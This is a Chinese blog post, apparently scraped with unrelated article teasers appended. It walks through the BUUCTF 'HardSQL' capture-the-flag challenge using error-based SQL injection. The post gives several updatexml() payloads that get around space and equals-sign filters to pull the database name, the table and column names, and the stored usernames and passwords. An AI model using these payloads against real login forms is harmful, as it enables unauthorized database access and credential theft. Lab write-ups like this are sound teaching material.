news 2026/6/10 15:38:26

buuctf系列解题思路祥讲--[极客大挑战 2019]HardSQL1——sql报错注入

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buuctf系列解题思路祥讲--[极客大挑战 2019]HardSQL1——sql报错注入

1、解题思路

开局是一个登录框,并且题目已经明示了是一个困难sql,那我们就在用户框输入’测试发现报错,猜测可能是报错注入

然后后面加上#显示字符,那就说明存在sql注入且闭合方式为单引号

然后我们在这个单引号和#之间输入空格和一些关键函数可以大概知道过滤哪些

然后我们测试发现大概过滤了空格,等号,unino(显示以下内容代表被过滤了)

好的我们知道了以上信息那我们接下来就是可以用报错函数来进行注入查看当前数据库

payload:username=1’or(updatexml(1,concat(0x7e,database(),0x7e),1))#&password=1

可以看到当前数据库名为geek

Ps:由于目标过滤了空格所以我们要把报错函数包起来

然后我们就是查看表名

payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

查看字段

payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))#

查看字段值

payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))#

但是查看这个flag值似乎是不完整的,使用right()查询右边部分的

payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,20)))from(H4rDsq1)),0x7e),1))#

随后我们拼接就可以得到完整flag

2、涉及知识点

1、updatexml函数的报错信息存在默认长度限制—— 其返回的错误内容最多只能显示32 个字符

2、right 函数:字符串右侧截取——right(str, len)

3、UPDATEXML(XML_document, XPath_string, new_value)

  • XML_document:必填,要修改的 XML 文档(注入中无需真实 XML,填任意值如10即可,仅为满足语法);
  • XPath_string:必填,XPath 路径表达式(核心注入点!必须是 “合法 XPath 格式”,否则触发语法错误);
  • new_value:必填,替换节点的新值(注入中填任意值如1即可,无实际作用)

4、其他报错函数extractvalue(),floor(),exp()等等

5、sql绕过

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/10 14:10:24

2025免费降AI率完全指南:从ai查重工具选择到降AI技巧,一步到位!

在论文、报告、内容创作越来越严格的时代,查AI率、检测AI率、降AI率 已经成为学生、写作者、博主的日常需求。很多同学因为 AI率过高被导师指出“AI痕迹太重”,甚至退回重写。本文今天一次性告诉你: 检测AI率应该注意什么 免费查AI率的网站有…

作者头像 李华
网站建设 2026/6/10 1:35:12

2025免费降AI率完全指南:从工具选择到实操技巧,一步到位

在论文、报告、内容创作越来越严格的时代,查AI率、检测AI率、降AI率 已经成为学生、写作者、博主的日常需求。很多同学因为 AI率过高被导师指出“AI痕迹太重”,甚至退回重写。本文今天一次性告诉你: 检测AI率应该注意什么 免费查AI率的网站有…

作者头像 李华
网站建设 2026/6/10 6:24:53

Java 8 JVM动态年龄计算机制详解

本文探讨一下HotSpot JVM开发团队引入动态年龄判断(或称“自适应调整”)的核心原因和设计哲学。 接下来让让我们深入剖析一下这个机制—— 核心原理:TargetSurvivorRatio 与动态年龄 动态年龄计算并不是直接丢弃MaxTenuringThreshold&#xf…

作者头像 李华
网站建设 2026/6/10 14:04:31

Capacitor跨平台开发终极指南:用Web技术构建原生应用

Capacitor跨平台开发终极指南:用Web技术构建原生应用 【免费下载链接】capacitor Build cross-platform Native Progressive Web Apps for iOS, Android, and the Web ⚡️ 项目地址: https://gitcode.com/gh_mirrors/ca/capacitor 在移动应用开发领域&#…

作者头像 李华
网站建设 2026/6/9 20:15:19

光伏电站并网后如何玩转虚拟同步机?储能如何优雅地削峰填谷?今天咱们用Simulink搭个实战模型,拆解光储联合系统中的三大核心技能

simulink仿真模型光伏储能VSG,加电容,正常运行,波形完美一一光储一次调频、储能削峰填谷、 直流母线电压控制。 2018b及以上都可运行哈打开Simulink第一件事,先给直流母线加个超级电容缓冲池。这个蓝色电容模块可不是装饰品&#…

作者头像 李华
网站建设 2026/6/10 15:31:47

CARLA自动驾驶仿真环境搭建与DEMO详解

CARLA自动驾驶仿真环境搭建与DEMO详解一、概述1、什么是CARLA?2、为什么需要CARLA?二、效果三、环境搭建1、Ubuntu 22.04 环境(推荐)1.1、Docker方式(最简单)2、Windows环境2.1、Python3.8.0包安装方式四、…

作者头像 李华